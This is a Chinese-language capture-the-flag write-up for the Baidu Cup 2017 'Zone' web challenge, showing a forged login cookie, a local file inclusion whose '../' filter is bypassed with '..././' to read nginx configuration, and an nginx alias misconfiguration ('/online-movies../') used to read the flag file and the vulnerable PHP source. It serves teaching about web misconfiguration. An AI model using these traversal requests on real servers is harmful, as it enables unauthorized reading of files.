百度杯2017二月-Zone
阿新 • • 發佈：2019-02-05
前言
這道題是我看了官方writeup才做出來的，最後是因為Nginx配置不當導致的漏洞，沒錯觸及到了知識盲區，記錄下來。
分析
點開題目連結，提示我必須登入。然後我習慣性的拿出burpsuite來抓包，發現Cookie欄位中出現了可疑的login=0，於是改為1傳送過去，就好啦。
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 05:06:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Content-Length: 1561
<html 亂碼的不用關心，可以發現有一處url是/manages/admin.php跟進去，burp返回
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 05:09:06 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Location: admin.php?module=index&name=php
Content-Length: 6可以看到有一個跳轉，而且這查詢引數咋感覺是檔案包含呢。首先想到的是使用php://filter為協議來讀原始碼，但是試過了沒用可能是過濾了，然後是各種試過濾，一點辦法都沒有。。。
然後忍不住看了writeup，麻蛋終於知道了。原來還可以讀取Nginx配置檔案，唉，我是真的對Nginx配置不熟，當時沒想過這些，這次算是學到了。
這一題得注意，在向上訪問時../被替換為空，於是構造如下url訪問NGINX配置檔案
GET /manages/admin.php?module=..././..././..././etc/nginx/nginx.conf&name= HTTP/1.1獲得返回
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 05:59:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Content-Length: 2708
#user nobody;
worker_processes 1;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid run/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
#server {
# listen 80;
# server_name localhost;
#charset koi8-r;
#access_log logs/host.access.log main;
# location / {
# root html;
# index index.html index.htm;
# }
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
# error_page 500 502 503 504 /50x.html;
# location = /50x.html {
# root html;
# }
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
#}
# another virtual host using mix of IP-, name-, and port-based configuration
#
#server {
# listen 8000;
# listen somename:8080;
# server_name somename alias another.alias;
# location / {
# root html;
# index index.html index.htm;
# }
#}
# HTTPS server
#
#server {
# listen 443 ssl;
# server_name localhost;
# ssl_certificate cert.pem;
# ssl_certificate_key cert.key;
# ssl_session_cache shared:SSL:1m;
# ssl_session_timeout 5m;
# ssl_ciphers HIGH:!aNULL:!MD5;
# ssl_prefer_server_ciphers on;
# location / {
# root html;
# index index.html index.htm;
# }
#}
include sites-enabled/default;
}
一看沒什麼問題，但是它又包含了一個檔案include sites-enabled/default;，於是繼續檢視
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 06:04:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Content-Length: 728
server {
listen 80;
#listen [::]:80 default_server ipv6only=on;
root /var/www/html;
index index.php index.html index.htm;
server_name localhost;
location / {
try_files $uri $uri/ =404;
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
#fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
}
}
error_page 404 /404.html;
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /var/www/html;
}
location /online-movies {
alias /movie/;
autoindex on;
}
location ~ /\.ht {
deny all;
}
}
這裡就要注意了，因為有一個autoindex on也就是開啟了目錄遍歷，然後alias /movie/替換匹配部分的url，也就是說如果我訪問/online-movies../就會變成訪問/movie/../.再加上目錄遍歷就可讀取任意檔案了。最後構造如下url獲得flag
GET /online-movies../var/www/html/flag.php HTTP/1.1HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 06:19:40 GMT
Content-Type: application/octet-stream
Content-Length: 81
Connection: keep-alive
Last-Modified: Wed, 03 Jan 2018 04:57:42 GMT
ETag: "5a4c62c6-51"
Accept-Ranges: bytes
<?php
$flag='flag{d61d8908-465b-443e-b4b7-558d142f6fdd}';
echo 'flag_is_here';
後記
為了了弄清楚為什麼偽協議沒作用，我又讀取了admin.php檔案
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 06:23:00 GMT
Content-Type: application/octet-stream
Content-Length: 586
Connection: keep-alive
Last-Modified: Fri, 17 Feb 2017 06:09:38 GMT
ETag: "58a693a2-24a"
Accept-Ranges: bytes
<?php
header("content-text:text/html;charset=gbk");
if(!isset($_COOKIE['login']))
setcookie("login", "0");
if( !isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
die("<script>alert('You need to log in!');location.href='/login.php';</script>");
if (!isset($_GET['module']) || !isset($_GET['name']))
header("Location: admin.php?module=index&name=php");
?>
<?php
$ext = $_GET['name'];
if ($ext === 'php') {
$ext = ".".$ext;
}else{
$ext = '';
}
include "/var/www/html/".str_replace("../","",$_GET['module']).$ext;
?>
原來在module引數之前，還構造了字串/var/www/html，所以連線起來後，就不是偽協議了。
總結
通過這一題，知道了web安全配置的重要性。同時也知道了，只有瞭解清楚web技術的方方面面才能更有效的找到安全漏洞，和提升web安全性。